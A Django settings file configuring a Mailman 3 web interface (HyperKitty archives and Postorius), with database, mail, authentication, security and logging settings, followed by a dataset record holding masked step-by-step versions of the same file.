read_cfg('/etc/mailman.d/hyperkitty.cfg', 'general', 'api_key') MAILMAN_ARCHIVER_FROM = ('127.0.0.1', '::1', '::ffff:127.0.0.1') # REST API REST_FRAMEWORK = { 'PAGE_SIZE': 10, } # Only display mailing-lists in HyperKitty from the same virtual host # as the webserver. FILTER_VHOST = False # # Application definition # SITE_ID = 1 INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles', 'hyperkitty', 'rest_framework', 'django_gravatar', 'paintstore', 'compressor', 'haystack', 'django_extensions', 'postorius', 'django_mailman3', 'stronghold', # Uncomment the next line to enable integration with Sentry # and set DSN in RAVEN_CONFIG. #'raven.contrib.django.raven_compat', 'allauth', 'allauth.account', 'allauth.socialaccount', # Uncomment providers that you want to use, if any. #'allauth.socialaccount.providers.openid', #'allauth.socialaccount.providers.github', #'allauth.socialaccount.providers.gitlab', #'allauth.socialaccount.providers.google', #'allauth.socialaccount.providers.twitter', #'allauth.socialaccount.providers.stackexchange', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django_mailman3.middleware.TimezoneMiddleware', 'postorius.middleware.PostoriusMiddleware', # Uncomment to require a user to be authenticated to view any page. #'stronghold.middleware.LoginRequiredMiddleware', ) # A string representing the full Python import path to your root URLconf. ROOT_URLCONF = 'urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [ # Directory for templates override. joinpath(DATA_DIR, 'templates'), ], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.template.context_processors.tz', 'django.template.context_processors.csrf', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'django_mailman3.context_processors.common', 'hyperkitty.context_processors.common', 'postorius.context_processors.postorius', ], }, }, ] WSGI_APPLICATION = 'wsgi.application' # Using the cache infrastructure can significantly improve performance on a # production setup. This is an example with a local Memcached server. #CACHES = { # 'default': { # 'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache', # 'LOCATION': '127.0.0.1:11211', # } #} # # Databases # See https://docs.djangoproject.com/en/1.9/ref/settings/#databases # DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': joinpath(DATA_DIR, 'db.sqlite3'), } # Remove the above lines and uncomment the below to use PostgreSQL. # 'default': { # 'ENGINE': 'django.db.backends.postgresql_psycopg2', # 'NAME': 'mailman_webui', # 'USER': 'mailman_webui', # 'PASSWORD': 'change-me', # # Empty for localhost through domain sockets or '127.0.0.1' for localhost through TCP. # 'HOST': '127.0.0.1', # 'PORT': '', # } } # Full-text search engine HAYSTACK_CONNECTIONS = { 'default': { 'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine', 'PATH': joinpath(DATA_DIR, 'fulltext_index'), }, } # # Outgoing mails # # NOTE: Replace with hard-coded values if Mailman is running on a different host. # The host and port of the SMTP server to use for sending email. EMAIL_HOST = mailman_cfg('mta', 'smtp_host') or 'localhost' EMAIL_PORT = int(mailman_cfg('mta', 'smtp_port') or 25) # Username and password to use for the SMTP server defined above. EMAIL_HOST_USER = mailman_cfg('mta', 'smtp_user') or '' EMAIL_HOST_PASSWORD = mailman_cfg('mta', 'smtp_pass') or '' # Whether to use a explicit TLS connection when talking to the SMTP server. EMAIL_USE_TLS = False # Whether to use an implicit TLS connection when talking to the SMTP server. EMAIL_USE_SSL = False # A tuple that lists people who get code error notifications. When DEBUG=False # and a view raises an exception, Django will email these people with the full # exception information. Each member of the tuple should be a tuple of (Full # name, email address). ADMINS = ( ('Mailman Admin', 'root@localhost'), ) # If you enable email reporting for error messages, this is where those emails # will appear to be coming from. Make sure you set a valid domain name, # otherwise the emails may get rejected. # https://docs.djangoproject.com/en/1.9/ref/settings/#std:setting-SERVER_EMAIL #SERVER_EMAIL = 'root@your-domain.org' # If you enable internal authentication, this is the address that the emails # will appear to be coming from. Make sure you set a valid domain name, # otherwise the emails may get rejected. # https://docs.djangoproject.com/en/1.9/ref/settings/#default-from-email #DEFAULT_FROM_EMAIL = 'mailing-lists@you-domain.org' # # Security settings # # A secret key used for signing sessions, cookies, password reset tokens etc. SECRET_KEY = open(joinpath(CONF_DIR, 'secret_key')).read() CSRF_COOKIE_SECURE = True CSRF_COOKIE_HTTPONLY = True SESSION_COOKIE_SECURE = True SECURE_CONTENT_TYPE_NOSNIFF = True SECURE_BROWSER_XSS_FILTER = True X_FRAME_OPTIONS = 'DENY' # If you're behind a proxy, use the X-Forwarded-Host header # See https://docs.djangoproject.com/en/1.9/ref/settings/#use-x-forwarded-host USE_X_FORWARDED_HOST = True # And if your proxy does your SSL encoding for you, set SECURE_PROXY_SSL_HEADER # https://docs.djangoproject.com/en/1.9/ref/settings/#secure-proxy-ssl-header SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') #SECURE_SSL_REDIRECT = True # If you set SECURE_SSL_REDIRECT to True, make sure the SECURE_REDIRECT_EXEMPT # contains at least this line: #SECURE_REDIRECT_EXEMPT = [ # 'archives/api/mailman/.*', # Request from Mailman. #] # # Authentication # AUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', # Uncomment to next line to enable LDAP authentication. #'custom.LDAPBackend', 'allauth.account.auth_backends.AuthenticationBackend', ) LOGIN_URL = 'account_login' LOGIN_REDIRECT_URL = 'hk_root' LOGOUT_URL = 'account_logout' # Whether registration of new accounts is currently permitted. REGISTRATION_OPEN = True # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator' }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator' }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator' }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator' }, ] # URLs which are ignored by LoginRequiredMiddleware, i.e. the middleware # does not *force* them to require authentication. STRONGHOLD_PUBLIC_URLS = ( r'^/accounts/.*', r'^/archives/api/mailman/.*', ) ## Django Allauth # Custom AccountAdapter for allauth that respects REGISTRATION_OPEN variable. ACCOUNT_ADAPTER = 'custom.CloseableRegistrationAccountAdapter' ACCOUNT_AUTHENTICATION_METHOD = 'username_email' ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_EMAIL_VERIFICATION = 'mandatory' ACCOUNT_DEFAULT_HTTP_PROTOCOL = 'https' ACCOUNT_UNIQUE_EMAIL = True # Whether to disable intermediate logout page. ACCOUNT_LOGOUT_ON_GET = False SOCIALACCOUNT_PROVIDERS = {} #SOCIALACCOUNT_PROVIDERS = { # 'openid': { # 'SERVERS': [ # { # 'id': 'yahoo', # 'name': 'Yahoo', # 'openid_url': 'http://me.yahoo.com' # } # ], # }, # 'google': { # 'SCOPE': ['profile', 'email'], # 'AUTH_PARAMS': {'access_type': 'online'}, # }, # 'facebook': { # 'METHOD': 'oauth2', # 'SCOPE': ['email'], # 'FIELDS': [ # 'email', # 'name', # 'first_name', # 'last_name', # 'locale', # 'timezone', # ], # 'VERSION': 'v2.4', # }, #} ## Django LDAP if 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS: import ldap from django_auth_ldap.config import LDAPSearch ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs') AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org' AUTH_LDAP_USER_SEARCH = LDAPSearch( 'ou=People,dc=example,dc=org', ldap.SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))' ) AUTH_LDAP_USER_ATTR_MAP = { 'first_name': 'givenName', 'last_name': 'sn', 'email': 'mail', } # # Internationalization # https://docs.djangoproject.com/en/1.9/topics/i18n/ # LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.9/howto/static-files/ # # Absolute path to the directory static files should be collected to. # Don't put anything in this directory yourself; store your static files # in apps' "static/" subdirectories and in STATICFILES_DIRS. # Example: "/var/www/example.com/static/" STATIC_ROOT = joinpath(BASE_DIR, 'static') # URL prefix for static files. # Example: "http://example.com/static/", "http://static.example.com/" STATIC_URL = '/static/' # Additional locations of static files STATICFILES_DIRS = ( # Put strings here, like "/home/html/static". # Don't forget to use absolute paths, not relative paths. ) # List of finder classes that know how to find static files in # various locations. STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', 'compressor.finders.CompressorFinder', ) # django-compressor COMPRESS_OFFLINE = True # Compatibility with Bootstrap 3 from django.contrib.messages import constants as messages MESSAGE_TAGS = { messages.ERROR: 'danger' } # # Gravatar # https://github.com/twaddington/django-gravatar # # Gravatar base url. GRAVATAR_URL = 'http://cdn.libravatar.org/' # Gravatar base secure https url. GRAVATAR_SECURE_URL = 'https://seccdn.libravatar.org/' # Gravatar size in pixels. #GRAVATAR_DEFAULT_SIZE = '80' # An image url or one of the following: 'mm', 'identicon', 'monsterid', 'wavatar', 'retro'. GRAVATAR_DEFAULT_IMAGE = 'retro' # One of the following: 'g', 'pg', 'r', 'x'. #GRAVATAR_DEFAULT_RATING = 'g' # True to use https by default, False for plain http. GRAVATAR_DEFAULT_SECURE = True # # Logging # # A sample logging configuration. The only tangible logging performed by this # configuration is to send an email to the site admins on every HTTP 500 error # when DEBUG=False. See http://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'formatter': 'simple', }, 'file':{ 'level': 'INFO', #'class': 'logging.handlers.RotatingFileHandler', 'class': 'logging.handlers.WatchedFileHandler', 'filename': joinpath(LOG_DIR, 'mailman-webui.log'), 'formatter': 'verbose', }, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'class': 'django.utils.log.AdminEmailHandler' }, }, 'loggers': { #'django.request': { # 'handlers': ['mail_admins'], # 'level': 'ERROR', # 'propagate': True, #}, 'django.request': { 'handlers': ['file'], 'level': 'ERROR', 'propagate': True, }, 'django': { 'handlers': ['file'], 'level': 'ERROR', 'propagate': True, }, 'postorius': { 'handlers': ['file'], 'level': 'INFO', 'propagate': True, }, 'hyperkitty': { 'handlers': ['file'], 'level': 'INFO', 'propagate': True, }, }, 'formatters': { 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s' }, 'simple': { 'format': '%(levelname)s %(message)s' }, }, 'root': { 'handlers': ['file'], 'level': 'INFO', }, } if 'raven.contrib.django.raven_compat' in INSTALLED_APPS: RAVEN_CONFIG = { 'dsn': 'https://<key>:<secret>@sentry.io/<project>', } LOGGING['handlers']['sentry'] = { 'level': 'ERROR', 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler', } LOGGING['loggers']['root']['handlers'].append('sentry') try: from settings_local import * except ImportError: pass
flexible
{ "blob_id": "0dd17d8872b251fbc59a322bf3c695bd8079aba4", "index": 3338, "step-1": "<mask token>\n\n\ndef read_cfg(path, section=None, option=None):\n config = SafeConfigParser()\n config.read(path)\n\n def get(section, option):\n return config.get(section, option) if config.has_option(section, option\n ) else None\n return get(section, option) if section else get\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef read_cfg(path, section=None, option=None):\n config = SafeConfigParser()\n config.read(path)\n\n def get(section, option):\n return config.get(section, option) if config.has_option(section, option\n ) else None\n return get(section, option) if section else get\n\n\n<mask token>\nif 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS:\n import ldap\n from django_auth_ldap.config import LDAPSearch\n ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs')\n AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org'\n AUTH_LDAP_USER_SEARCH = LDAPSearch('ou=People,dc=example,dc=org', ldap.\n SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))')\n AUTH_LDAP_USER_ATTR_MAP = {'first_name': 'givenName', 'last_name': 'sn',\n 'email': 'mail'}\n<mask token>\nif 'raven.contrib.django.raven_compat' in INSTALLED_APPS:\n RAVEN_CONFIG = {'dsn': 'https://<key>:<secret>@sentry.io/<project>'}\n LOGGING['handlers']['sentry'] = {'level': 'ERROR', 'class':\n 'raven.contrib.django.raven_compat.handlers.SentryHandler'}\n LOGGING['loggers']['root']['handlers'].append('sentry')\ntry:\n from settings_local import *\nexcept ImportError:\n pass\n", "step-3": "<mask token>\n\n\ndef read_cfg(path, section=None, option=None):\n config = SafeConfigParser()\n config.read(path)\n\n def get(section, option):\n return config.get(section, option) if config.has_option(section, option\n ) else None\n return get(section, option) if section else get\n\n\nmailman_cfg = read_cfg('/etc/mailman.cfg')\nBASE_DIR = '/usr/lib/bundles/mailman-webui'\nCONF_DIR = '/etc/mailman-webui'\nDATA_DIR = '/var/lib/mailman-webui'\nLOG_DIR = '/var/log/mailman-webui'\nALLOWED_HOSTS = ['localhost']\nMAILMAN_REST_API_URL = 'http://localhost:%s' % (mailman_cfg('webservice',\n 'port') or 8001)\nMAILMAN_REST_API_USER = mailman_cfg('webservice', 'admin_user') or 'restadmin'\nMAILMAN_REST_API_PASS = mailman_cfg('webservice', 'admin_pass')\nMAILMAN_ARCHIVER_KEY = read_cfg('/etc/mailman.d/hyperkitty.cfg', 'general',\n 'api_key')\nMAILMAN_ARCHIVER_FROM = '127.0.0.1', '::1', '::ffff:127.0.0.1'\nREST_FRAMEWORK = {'PAGE_SIZE': 10}\nFILTER_VHOST = False\nSITE_ID = 1\nINSTALLED_APPS = ('django.contrib.admin', 'django.contrib.auth',\n 'django.contrib.contenttypes', 'django.contrib.sessions',\n 'django.contrib.sites', 'django.contrib.messages',\n 'django.contrib.staticfiles', 'hyperkitty', 'rest_framework',\n 'django_gravatar', 'paintstore', 'compressor', 'haystack',\n 'django_extensions', 'postorius', 'django_mailman3', 'stronghold',\n 'allauth', 'allauth.account', 'allauth.socialaccount')\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django_mailman3.middleware.TimezoneMiddleware',\n 'postorius.middleware.PostoriusMiddleware')\nROOT_URLCONF = 'urls'\nTEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [joinpath(DATA_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS':\n {'context_processors': ['django.template.context_processors.debug',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.template.context_processors.csrf',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django_mailman3.context_processors.common',\n 'hyperkitty.context_processors.common',\n 'postorius.context_processors.postorius']}}]\nWSGI_APPLICATION = 'wsgi.application'\nDATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME':\n joinpath(DATA_DIR, 'db.sqlite3')}}\nHAYSTACK_CONNECTIONS = {'default': {'ENGINE':\n 'haystack.backends.whoosh_backend.WhooshEngine', 'PATH': joinpath(\n DATA_DIR, 'fulltext_index')}}\nEMAIL_HOST = mailman_cfg('mta', 'smtp_host') or 'localhost'\nEMAIL_PORT = int(mailman_cfg('mta', 'smtp_port') or 25)\nEMAIL_HOST_USER = mailman_cfg('mta', 'smtp_user') or ''\nEMAIL_HOST_PASSWORD = mailman_cfg('mta', 'smtp_pass') or ''\nEMAIL_USE_TLS = False\nEMAIL_USE_SSL = False\nADMINS = ('Mailman Admin', 'root@localhost'),\nSECRET_KEY = open(joinpath(CONF_DIR, 'secret_key')).read()\nCSRF_COOKIE_SECURE = True\nCSRF_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SECURE = True\nSECURE_CONTENT_TYPE_NOSNIFF = True\nSECURE_BROWSER_XSS_FILTER = True\nX_FRAME_OPTIONS = 'DENY'\nUSE_X_FORWARDED_HOST = True\nSECURE_PROXY_SSL_HEADER = 'HTTP_X_FORWARDED_PROTO', 'https'\nAUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend',\n 'allauth.account.auth_backends.AuthenticationBackend')\nLOGIN_URL = 'account_login'\nLOGIN_REDIRECT_URL = 'hk_root'\nLOGOUT_URL = 'account_logout'\nREGISTRATION_OPEN = True\nAUTH_PASSWORD_VALIDATORS = [{'NAME':\n 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'\n }, {'NAME':\n 'django.contrib.auth.password_validation.MinimumLengthValidator'}, {\n 'NAME':\n 'django.contrib.auth.password_validation.CommonPasswordValidator'}, {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'}\n ]\nSTRONGHOLD_PUBLIC_URLS = '^/accounts/.*', '^/archives/api/mailman/.*'\nACCOUNT_ADAPTER = 'custom.CloseableRegistrationAccountAdapter'\nACCOUNT_AUTHENTICATION_METHOD = 'username_email'\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_EMAIL_VERIFICATION = 'mandatory'\nACCOUNT_DEFAULT_HTTP_PROTOCOL = 'https'\nACCOUNT_UNIQUE_EMAIL = True\nACCOUNT_LOGOUT_ON_GET = False\nSOCIALACCOUNT_PROVIDERS = {}\nif 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS:\n import ldap\n from django_auth_ldap.config import LDAPSearch\n ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs')\n AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org'\n AUTH_LDAP_USER_SEARCH = LDAPSearch('ou=People,dc=example,dc=org', ldap.\n SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))')\n AUTH_LDAP_USER_ATTR_MAP = {'first_name': 'givenName', 'last_name': 'sn',\n 'email': 'mail'}\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\nSTATIC_ROOT = joinpath(BASE_DIR, 'static')\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = ()\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'compressor.finders.CompressorFinder')\nCOMPRESS_OFFLINE = True\n<mask token>\nMESSAGE_TAGS = {messages.ERROR: 'danger'}\nGRAVATAR_URL = 'http://cdn.libravatar.org/'\nGRAVATAR_SECURE_URL = 'https://seccdn.libravatar.org/'\nGRAVATAR_DEFAULT_IMAGE = 'retro'\nGRAVATAR_DEFAULT_SECURE = True\nLOGGING = {'version': 1, 'disable_existing_loggers': False, 'filters': {\n 'require_debug_false': {'()': 'django.utils.log.RequireDebugFalse'}},\n 'handlers': {'console': {'class': 'logging.StreamHandler', 'formatter':\n 'simple'}, 'file': {'level': 'INFO', 'class':\n 'logging.handlers.WatchedFileHandler', 'filename': joinpath(LOG_DIR,\n 'mailman-webui.log'), 'formatter': 'verbose'}, 'mail_admins': {'level':\n 'ERROR', 'filters': ['require_debug_false'], 'class':\n 'django.utils.log.AdminEmailHandler'}}, 'loggers': {'django.request': {\n 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'django': {\n 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'postorius':\n {'handlers': ['file'], 'level': 'INFO', 'propagate': True},\n 'hyperkitty': {'handlers': ['file'], 'level': 'INFO', 'propagate': True\n }}, 'formatters': {'verbose': {'format':\n '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n }, 'simple': {'format': '%(levelname)s %(message)s'}}, 'root': {\n 'handlers': ['file'], 'level': 'INFO'}}\nif 'raven.contrib.django.raven_compat' in INSTALLED_APPS:\n RAVEN_CONFIG = {'dsn': 'https://<key>:<secret>@sentry.io/<project>'}\n LOGGING['handlers']['sentry'] = {'level': 'ERROR', 'class':\n 'raven.contrib.django.raven_compat.handlers.SentryHandler'}\n LOGGING['loggers']['root']['handlers'].append('sentry')\ntry:\n from settings_local import *\nexcept ImportError:\n pass\n", "step-4": "<mask token>\nfrom os.path import abspath, dirname, join as joinpath\nfrom ConfigParser import SafeConfigParser\n\n\ndef read_cfg(path, section=None, option=None):\n config = SafeConfigParser()\n config.read(path)\n\n def get(section, option):\n return config.get(section, option) if config.has_option(section, option\n ) else None\n return get(section, option) if section else get\n\n\nmailman_cfg = read_cfg('/etc/mailman.cfg')\nBASE_DIR = '/usr/lib/bundles/mailman-webui'\nCONF_DIR = '/etc/mailman-webui'\nDATA_DIR = '/var/lib/mailman-webui'\nLOG_DIR = '/var/log/mailman-webui'\nALLOWED_HOSTS = ['localhost']\nMAILMAN_REST_API_URL = 'http://localhost:%s' % (mailman_cfg('webservice',\n 'port') or 8001)\nMAILMAN_REST_API_USER = mailman_cfg('webservice', 'admin_user') or 'restadmin'\nMAILMAN_REST_API_PASS = mailman_cfg('webservice', 'admin_pass')\nMAILMAN_ARCHIVER_KEY = read_cfg('/etc/mailman.d/hyperkitty.cfg', 'general',\n 'api_key')\nMAILMAN_ARCHIVER_FROM = '127.0.0.1', '::1', '::ffff:127.0.0.1'\nREST_FRAMEWORK = {'PAGE_SIZE': 10}\nFILTER_VHOST = False\nSITE_ID = 1\nINSTALLED_APPS = ('django.contrib.admin', 'django.contrib.auth',\n 'django.contrib.contenttypes', 'django.contrib.sessions',\n 'django.contrib.sites', 'django.contrib.messages',\n 'django.contrib.staticfiles', 'hyperkitty', 'rest_framework',\n 'django_gravatar', 'paintstore', 'compressor', 'haystack',\n 'django_extensions', 'postorius', 'django_mailman3', 'stronghold',\n 'allauth', 'allauth.account', 'allauth.socialaccount')\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django_mailman3.middleware.TimezoneMiddleware',\n 'postorius.middleware.PostoriusMiddleware')\nROOT_URLCONF = 'urls'\nTEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [joinpath(DATA_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS':\n {'context_processors': ['django.template.context_processors.debug',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.template.context_processors.csrf',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django_mailman3.context_processors.common',\n 'hyperkitty.context_processors.common',\n 'postorius.context_processors.postorius']}}]\nWSGI_APPLICATION = 'wsgi.application'\nDATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME':\n joinpath(DATA_DIR, 'db.sqlite3')}}\nHAYSTACK_CONNECTIONS = {'default': {'ENGINE':\n 'haystack.backends.whoosh_backend.WhooshEngine', 'PATH': joinpath(\n DATA_DIR, 'fulltext_index')}}\nEMAIL_HOST = mailman_cfg('mta', 'smtp_host') or 'localhost'\nEMAIL_PORT = int(mailman_cfg('mta', 'smtp_port') or 25)\nEMAIL_HOST_USER = mailman_cfg('mta', 'smtp_user') or ''\nEMAIL_HOST_PASSWORD = mailman_cfg('mta', 'smtp_pass') or ''\nEMAIL_USE_TLS = False\nEMAIL_USE_SSL = False\nADMINS = ('Mailman Admin', 'root@localhost'),\nSECRET_KEY = open(joinpath(CONF_DIR, 'secret_key')).read()\nCSRF_COOKIE_SECURE = True\nCSRF_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SECURE = True\nSECURE_CONTENT_TYPE_NOSNIFF = True\nSECURE_BROWSER_XSS_FILTER = True\nX_FRAME_OPTIONS = 'DENY'\nUSE_X_FORWARDED_HOST = True\nSECURE_PROXY_SSL_HEADER = 'HTTP_X_FORWARDED_PROTO', 'https'\nAUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend',\n 'allauth.account.auth_backends.AuthenticationBackend')\nLOGIN_URL = 'account_login'\nLOGIN_REDIRECT_URL = 'hk_root'\nLOGOUT_URL = 'account_logout'\nREGISTRATION_OPEN = True\nAUTH_PASSWORD_VALIDATORS = [{'NAME':\n 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'\n }, {'NAME':\n 'django.contrib.auth.password_validation.MinimumLengthValidator'}, {\n 'NAME':\n 'django.contrib.auth.password_validation.CommonPasswordValidator'}, {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'}\n ]\nSTRONGHOLD_PUBLIC_URLS = '^/accounts/.*', '^/archives/api/mailman/.*'\nACCOUNT_ADAPTER = 'custom.CloseableRegistrationAccountAdapter'\nACCOUNT_AUTHENTICATION_METHOD = 'username_email'\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_EMAIL_VERIFICATION = 'mandatory'\nACCOUNT_DEFAULT_HTTP_PROTOCOL = 'https'\nACCOUNT_UNIQUE_EMAIL = True\nACCOUNT_LOGOUT_ON_GET = False\nSOCIALACCOUNT_PROVIDERS = {}\nif 'custom.LDAPBackend' in AUTHENTICATION_BACKENDS:\n import ldap\n from django_auth_ldap.config import LDAPSearch\n ldap.set_option(ldap.OPT_X_TLS_CACERTDIR, '/etc/ssl/certs')\n AUTH_LDAP_SERVER_URI = 'ldaps://ldap.example.org'\n AUTH_LDAP_USER_SEARCH = LDAPSearch('ou=People,dc=example,dc=org', ldap.\n SCOPE_SUBTREE, '(&(mail=*)(uid=%(user)s))')\n AUTH_LDAP_USER_ATTR_MAP = {'first_name': 'givenName', 'last_name': 'sn',\n 'email': 'mail'}\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\nSTATIC_ROOT = joinpath(BASE_DIR, 'static')\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = ()\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'compressor.finders.CompressorFinder')\nCOMPRESS_OFFLINE = True\nfrom django.contrib.messages import constants as messages\nMESSAGE_TAGS = {messages.ERROR: 'danger'}\nGRAVATAR_URL = 'http://cdn.libravatar.org/'\nGRAVATAR_SECURE_URL = 'https://seccdn.libravatar.org/'\nGRAVATAR_DEFAULT_IMAGE = 'retro'\nGRAVATAR_DEFAULT_SECURE = True\nLOGGING = {'version': 1, 'disable_existing_loggers': False, 'filters': {\n 'require_debug_false': {'()': 'django.utils.log.RequireDebugFalse'}},\n 'handlers': {'console': {'class': 'logging.StreamHandler', 'formatter':\n 'simple'}, 'file': {'level': 'INFO', 'class':\n 'logging.handlers.WatchedFileHandler', 'filename': joinpath(LOG_DIR,\n 'mailman-webui.log'), 'formatter': 'verbose'}, 'mail_admins': {'level':\n 'ERROR', 'filters': ['require_debug_false'], 'class':\n 'django.utils.log.AdminEmailHandler'}}, 'loggers': {'django.request': {\n 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'django': {\n 'handlers': ['file'], 'level': 'ERROR', 'propagate': True}, 'postorius':\n {'handlers': ['file'], 'level': 'INFO', 'propagate': True},\n 'hyperkitty': {'handlers': ['file'], 'level': 'INFO', 'propagate': True\n }}, 'formatters': {'verbose': {'format':\n '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n }, 'simple': {'format': '%(levelname)s %(message)s'}}, 'root': {\n 'handlers': ['file'], 'level': 'INFO'}}\nif 'raven.contrib.django.raven_compat' in INSTALLED_APPS:\n RAVEN_CONFIG = {'dsn': 'https://<key>:<secret>@sentry.io/<project>'}\n LOGGING['handlers']['sentry'] = {'level': 'ERROR', 'class':\n 'raven.contrib.django.raven_compat.handlers.SentryHandler'}\n LOGGING['loggers']['root']['handlers'].append('sentry')\ntry:\n from settings_local import *\nexcept ImportError:\n pass\n", "step-5": "#-*- coding: utf-8 -*-\n\"\"\"\nDjango settings for HyperKitty + Postorius\n\nPay attention to settings ALLOWED_HOSTS and DATABASES!\n\"\"\"\nfrom os.path import abspath, dirname, join as joinpath\nfrom ConfigParser import SafeConfigParser\n\n\ndef read_cfg(path, section=None, option=None):\n config = SafeConfigParser()\n config.read(path)\n def get(section, option):\n return config.get(section, option) if 